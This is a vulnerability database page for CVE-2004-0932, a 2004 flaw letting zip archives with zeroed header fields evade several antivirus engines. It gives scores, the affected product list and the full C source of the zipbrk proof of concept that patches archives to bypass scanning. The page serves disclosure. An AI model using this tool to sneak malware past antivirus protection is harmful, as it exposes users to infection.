CVE-2004-0932 : Detail

CVE-2004-0932

92.4%V3
Network
2004-11-19
04h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

McAfee Anti-Virus Engine DATS drivers before 4398 released on Oct 13th 2004 and DATS Driver before 4397 October 6th 2004 allows remote attackers to bypass antivirus protection via a compressed file with both local and global headers set to zero, which does not prevent the compressed file from being opened on a target system.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 629

Publication date : 2004-11-13
23h00 +00:00
Author : oc192
EDB Verified : Yes

/* zipbrk.c - Proof-of-Concept for CAN-2004-0932 - CAN-2004-0937 Copyright (C) 2004 oc.192 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. oc.192 phreaker net */ #include <stdio.h> #include <stdlib.h> unsigned short LOCAL_HEADER_OFFSET = 16; unsigned short CENTRAL_HEADER_OFFSET = 18; unsigned long DATA_REPLACE_VALUE = 0x00000000; void show_usage() { printf("zipbrk - by oc.192 [[email protected]]\n"); printf("Attempts to utilize the vulnerabilities described in:\n"); printf("CAN-2004-0932 - McAfee\nCAN-2004-0933 - Computer Associates\n" "CAN-2004-0934 - Kaspersky\nCAN-2004-0937 - Sophos\n" "CAN-2004-0935 - Eset\nCAN-2004-0936 - RAV\n\n"); printf(" Usage: zipbrk <zip_file>\n"); } void patch_file(FILE *hfile, unsigned long offset) { char *buffer = malloc(1); memset(buffer, 0, 1); fseek(hfile, offset, SEEK_SET); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); free(buffer); } void scan_file(char *filename) { FILE *hfile; unsigned char buffer; unsigned long offset = 0; if ((hfile = fopen(filename, "rb+")) == NULL) { printf("[-] Error: Unable to open %s", filename); return; } printf("[+] Scanning %s ...\n", filename); while (fread(&buffer, sizeof(buffer), 1, hfile)) { if (buffer == 0x50) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x4B) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x01) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x02) { /* perform write */ offset = ftell(hfile); offset = offset + LOCAL_HEADER_OFFSET; printf(" [-] Writing local header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } else if (buffer == 0x03) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x04) { /* perform write */ offset = ftell(hfile); offset = offset + CENTRAL_HEADER_OFFSET; printf(" [-] Writing central header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } } } } printf("[+] File scanning finished. EOF:%d ERR:%d\n", feof(hfile), ferror(hfile)); fclose(hfile); } int main(int argc, char *argv[]) { if (argc != 2) { show_usage(); return 0; } if (!strcmp(argv[1], "-h") || !strcmp(argv[1], "/?")) { show_usage(); return 0; } scan_file(argv[1]); return 0; } // milw0rm.com [2004-11-14]

Products Mentioned

Configuraton 0

Archive_zip>>Archive_zip >> Version 1.13

    Broadcom>>Brightstor_arcserve_backup >> Version 11.1

    Broadcom>>Etrust_antivirus >> Version 7.0

    Broadcom>>Etrust_antivirus >> Version 7.1

    Broadcom>>Etrust_antivirus_gateway >> Version 7.0

    Broadcom>>Etrust_antivirus_gateway >> Version 7.1

    Broadcom>>Etrust_ez_antivirus >> Version 6.1

    Broadcom>>Etrust_ez_antivirus >> Version 6.2

    Broadcom>>Etrust_ez_antivirus >> Version 6.3

    Broadcom>>Etrust_ez_armor >> Version 2.0

    Broadcom>>Etrust_ez_armor >> Version 2.3

    Broadcom>>Etrust_ez_armor >> Version 2.4

    Broadcom>>Etrust_intrusion_detection >> Version 1.4.1.13

    Broadcom>>Etrust_intrusion_detection >> Version 1.4.5

    Broadcom>>Etrust_intrusion_detection >> Version 1.5

    Broadcom>>Etrust_secure_content_manager >> Version 1.0

    Broadcom>>Etrust_secure_content_manager >> Version 1.1

    Broadcom>>Inoculateit >> Version 6.0

    Ca>>Etrust_antivirus >> Version 7.0_sp2

      Ca>>Etrust_secure_content_manager >> Version 1.0

        Eset_software>>Nod32_antivirus >> Version 1.0.11

          Eset_software>>Nod32_antivirus >> Version 1.0.12

            Eset_software>>Nod32_antivirus >> Version 1.0.13

              Kaspersky_lab>>Kaspersky_anti-virus >> Version 3.0

                Kaspersky_lab>>Kaspersky_anti-virus >> Version 4.0

                  Kaspersky_lab>>Kaspersky_anti-virus >> Version 5.0

                    Mcafee>>Antivirus_engine >> Version 4.3.20

                    Rav_antivirus>>Rav_antivirus_desktop >> Version 8.6

                      Rav_antivirus>>Rav_antivirus_for_file_servers >> Version 1.0

                        Rav_antivirus>>Rav_antivirus_for_mail_servers >> Version 8.4.2

                          Sophos>>Sophos_anti-virus >> Version 3.4.6

                          Sophos>>Sophos_anti-virus >> Version 3.78

                          Sophos>>Sophos_anti-virus >> Version 3.78d

                          Sophos>>Sophos_anti-virus >> Version 3.79

                          Sophos>>Sophos_anti-virus >> Version 3.80

                          Sophos>>Sophos_anti-virus >> Version 3.81

                          Sophos>>Sophos_anti-virus >> Version 3.82

                          Sophos>>Sophos_anti-virus >> Version 3.83

                          Sophos>>Sophos_anti-virus >> Version 3.84

                          Sophos>>Sophos_anti-virus >> Version 3.85

                          Sophos>>Sophos_anti-virus >> Version 3.86

                          Sophos>>Sophos_puremessage_anti-virus >> Version 4.6

                            Sophos>>Sophos_small_business_suite >> Version 1.0

                              Configuraton 0

                              Gentoo>>Linux >> Version *

                              Gentoo>>Linux >> Version 1.4

                              Mandrakesoft>>Mandrake_linux >> Version 10.1

                              Mandrakesoft>>Mandrake_linux >> Version 10.1

                                Suse>>Suse_linux >> Version 9.2

                                References

                                http://www.securityfocus.com/bid/11448
                                Tags : vdb-entry, x_refsource_BID